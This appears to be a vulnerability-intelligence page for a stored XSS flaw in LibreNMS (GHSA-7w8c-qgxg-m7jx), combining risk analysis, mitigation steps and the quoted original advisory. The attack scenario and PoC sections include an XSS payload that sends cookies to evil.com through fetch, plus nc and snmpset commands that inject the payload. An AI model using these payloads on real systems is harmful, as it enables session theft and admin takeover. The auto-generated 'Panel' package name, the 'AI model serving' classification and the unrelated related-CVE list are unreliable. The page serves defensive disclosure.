LibreNMS, a widely deployed open-source network monitoring platform, fails to escape SNMP-polled fields (ifAlias, mempool_descr, storage_descr) and syslog data (program field) before rendering them in legacy PHP admin pages, allowing stored XSS that executes in the browser of any authenticated user who views alerts, health, or syslog pages. The blast radius is meaningful given 502 downstream dependents and a package risk score of 26/100, but the attack requires an attacker who already controls a monitored network device or can send syslog to the LibreNMS collector — this is not remotely exploitable without that foothold, and there is no EPSS score, no CISA KEV listing, and no public exploit or Nuclei template, so opportunistic mass exploitation is unlikely today. The realistic risk scenario is a compromised or rogue network device (or a malicious insider with SNMP write access) using this to pivot into admin session hijacking on the monitoring platform itself, which is a high-value target since it typically has broad network visibility and credentials. Patch to LibreNMS 26.5.0 or later immediately on any instance monitoring untrusted or third-party-managed devices; as an interim mitigation, restrict which devices can be polled via SNMP and lock down syslog UDP/514 ingestion to known-trusted sources, and audit `ports.ifAlias` and syslog `program` values in the database for suspicious HTML/script content.
What is the risk?
CVSS 7.1 (High) is driven by confidentiality impact (session/cookie theft) and low integrity impact via stored XSS, but exploitability is gated by two preconditions: the attacker must already control a monitored SNMP device or be able to send syslog to the LibreNMS receiver, and a victim (authenticated LibreNMS user) must view the affected page (UI:R). There is no evidence of active exploitation (not in CISA KEV, no SSVC decision, EPSS unavailable), no public PoC beyond the advisory's own demonstration payloads, and no Nuclei scanner coverage. Practical risk is therefore moderate-to-high specifically for organizations that monitor devices they don't fully control (MSPs, multi-tenant NOCs, third-party/vendor-managed equipment) or expose syslog ingestion broadly, and low for organizations that only monitor fully trusted, owned infrastructure.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Panel | composer | < 26.5.0 | 26.5.0 |
Do you use Panel? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade LibreNMS to 26.5.0 or later, which fixes the escaping in
print-syslog.inc.php,functions.inc.php, the health page templates,pseudowires.inc.php, andvrf.inc.php. 2) Until patched, restrict SNMP polling to a defined allowlist of trusted device IPs and disable auto-discovery of unknown devices where feasible. 3) Restrict syslog UDP/514 (and any TCP syslog listener) ingestion with firewall rules to known, trusted senders only. 4) Detection: audit theports.ifAlias, health descriptor columns (mempool/storage/sensor descriptions), and the syslog table'sprogramfield for HTML tags or<script>/onerror=patterns as an IOC of attempted exploitation. 5) Consider enforcing a Content-Security-Policy on the LibreNMS web UI as defense-in-depth against any residual unescaped-output XSS in legacy (non-Blade) pages.
How is it classified?
Which compliance frameworks are affected?
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is GHSA-7w8c-qgxg-m7jx?
LibreNMS, a widely deployed open-source network monitoring platform, fails to escape SNMP-polled fields (ifAlias, mempool_descr, storage_descr) and syslog data (program field) before rendering them in legacy PHP admin pages, allowing stored XSS that executes in the browser of any authenticated user who views alerts, health, or syslog pages. The blast radius is meaningful given 502 downstream dependents and a package risk score of 26/100, but the attack requires an attacker who already controls a monitored network device or can send syslog to the LibreNMS collector — this is not remotely exploitable without that foothold, and there is no EPSS score, no CISA KEV listing, and no public exploit or Nuclei template, so opportunistic mass exploitation is unlikely today. The realistic risk scenario is a compromised or rogue network device (or a malicious insider with SNMP write access) using this to pivot into admin session hijacking on the monitoring platform itself, which is a high-value target since it typically has broad network visibility and credentials. Patch to LibreNMS 26.5.0 or later immediately on any instance monitoring untrusted or third-party-managed devices; as an interim mitigation, restrict which devices can be polled via SNMP and lock down syslog UDP/514 ingestion to known-trusted sources, and audit `ports.ifAlias` and syslog `program` values in the database for suspicious HTML/script content.
Is GHSA-7w8c-qgxg-m7jx actively exploited?
No confirmed active exploitation of GHSA-7w8c-qgxg-m7jx has been reported, but organizations should still patch proactively.
How to fix GHSA-7w8c-qgxg-m7jx?
1) Upgrade LibreNMS to 26.5.0 or later, which fixes the escaping in `print-syslog.inc.php`, `functions.inc.php`, the health page templates, `pseudowires.inc.php`, and `vrf.inc.php`. 2) Until patched, restrict SNMP polling to a defined allowlist of trusted device IPs and disable auto-discovery of unknown devices where feasible. 3) Restrict syslog UDP/514 (and any TCP syslog listener) ingestion with firewall rules to known, trusted senders only. 4) Detection: audit the `ports.ifAlias`, health descriptor columns (mempool/storage/sensor descriptions), and the syslog table's `program` field for HTML tags or `<script>`/`onerror=` patterns as an IOC of attempted exploitation. 5) Consider enforcing a Content-Security-Policy on the LibreNMS web UI as defense-in-depth against any residual unescaped-output XSS in legacy (non-Blade) pages.
What systems are affected by GHSA-7w8c-qgxg-m7jx?
This vulnerability affects the following AI/ML architecture patterns: model serving.
What is the CVSS score for GHSA-7w8c-qgxg-m7jx?
GHSA-7w8c-qgxg-m7jx has a CVSS v3.1 base score of 7.1 (HIGH).
What is the AI security impact?
Affected AI Architectures
What are the technical details?
Original Advisory
## Summary Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages. ## Vulnerable Code ### Location 1: Syslog `program` field (clearest instance) **File:** `includes/html/print-syslog.inc.php:11,13` ```php $syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>'; ``` The `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices. ### Location 2: Alert details `ifAlias` (highest impact — main alerts page) **File:** `includes/html/functions.inc.php:607` ```php $fault_detail .= $tmp_alerts['ifAlias'] . '; '; ``` The `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709). ### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr` **File:** `includes/html/pages/device/health/mempool.inc.php:38` ```php echo "<h3 class='panel-title'>{$mempool->mempool_descr} ..."; ``` **File:** `includes/html/pages/device/health/storage.inc.php:27` ```php echo "<h3 class='panel-title'>{$drive['storage_descr']} ..."; ``` **File:** `includes/html/pages/device/health/sensors.inc.php:29` ```php echo "<h3 class='panel-title'>$sensor_descr ..."; ``` All three health page templates output SNMP-polled descriptions directly into `<h3>` tags without escaping. ### Location 4: Pseudowires `ifAlias` **File:** `includes/html/pages/pseudowires.inc.php:76` ```php echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>'; ``` ### Location 5: VRF page `ifAlias` **File:** `includes/html/pages/routing/vrf.inc.php:165` ```php echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>'; ``` ## Data Flow ``` Attacker-controlled SNMP device/syslog source → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write) → OR syslog receiver stores program field in syslog table → Authenticated user views alerts/health/syslog page → Legacy PHP template echoes raw value into HTML → XSS executes in victim's browser session ``` ## Attack Scenario 1. Attacker compromises or controls a network device monitored by LibreNMS 2. Attacker configures the device's SNMP interface description (ifAlias) to: `<img src=x onerror="fetch('https://evil.com/'+document.cookie)">` 3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table 4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page 5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page ## PoC ### Syslog vector (simplest) ```bash # Send syslog message with XSS in program field # Assuming LibreNMS syslog receiver is at 10.0.0.1:514 echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514 ``` ### SNMP vector ```bash # On attacker-controlled SNMP device, set interface description: # snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>' # LibreNMS will poll this during next discovery/polling cycle ``` ## Contrast with Properly Escaped Code Newer Blade templates and some legacy code properly escape SNMP data: - `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware - `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias - `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message - All Blade templates use `{{ }}` auto-escaping The vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.
Exploitation Scenario
An attacker gains control of a network device already being monitored by LibreNMS (e.g., a compromised switch, or a vendor-managed appliance with weak default SNMP community strings) and sets its ifAlias (port description) via `snmpset` to a payload like `<img src=x onerror="fetch('https://evil.com/'+document.cookie)">`. On the next SNMP polling cycle, LibreNMS stores this unsanitized value in the `ports` table. When a port-related alert later fires, an authenticated LibreNMS administrator viewing the alerts page has the payload execute in their browser session, exfiltrating their session cookie to the attacker, who can then hijack the admin session to pivot further into the monitored network's visibility and credentials. A simpler variant sends a crafted syslog message with the XSS payload in the `program` field directly to the LibreNMS syslog receiver, requiring no device compromise at all — just network reachability to the syslog port.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N References
- github.com/advisories/GHSA-7w8c-qgxg-m7jx
- github.com/librenms/librenms/commit/6782af940c3c495755923b520a302f3a1cb1ce6b
- github.com/librenms/librenms/pull/19660
- github.com/librenms/librenms/releases/tag/26.5.0
- github.com/librenms/librenms/releases/tag/26.8.1
- github.com/librenms/librenms/security/advisories/GHSA-7w8c-qgxg-m7jx
Timeline
Related Vulnerabilities
CVE-2024-13152 10.0 Mobuy Panel: SQLi allows unauthenticated DB takeover
Same package: panel CVE-2026-52855 9.9 Pterodactyl Wings: egg template leaks daemon secrets
Same package: panel CVE-2026-54158 9.9 SiYuan: XSS→RCE via workspace sync in Electron app
Same package: panel CVE-2026-47744 9.9 Shopper: RBAC bypass allows full admin takeover
Same package: panel CVE-2024-13147 9.8 B2B Login Panel: SQLi enables unauthenticated DB access
Same package: panel